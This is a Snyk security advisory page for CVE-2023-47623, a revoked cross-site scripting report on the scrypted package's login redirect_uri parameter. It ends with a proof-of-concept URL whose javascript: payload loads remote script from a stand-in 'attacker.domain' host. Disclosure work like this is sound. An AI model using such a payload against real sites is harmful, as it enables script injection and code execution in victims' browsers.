Cross-site Scripting The advisory has been revoked - it doesn't affect any version of package scrypted (opens in a new tab)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Start learning- Snyk IDSNYK-JS-SCRYPTED-6128852
- published15 Dec 2023
- disclosed13 Dec 2023
- creditKevin Stubbings
Introduced: 13 Dec 2023
CVE-2023-47623 (opens in a new tab)How to fix?
There is no fixed version for scrypted.
Amendment
This was deemed not a vulnerability.
Overview
Affected versions of this package are vulnerable to Cross-site Scripting in the login page via the redirect_uri parameter. An attacker can execute arbitrary JavaScript code on the victim's browser by specifying a URL with the JavaScript scheme (javascript:) after the login. This issue may lead to Remote Code Execution.
PoC
https://localhost:10443/endpoint/test/test?redirect_uri=javascript:var%20script%20=%20document.createElement('script');script.src%20=%20'https://attacker.domain';%20document.head.appendChild(script);#//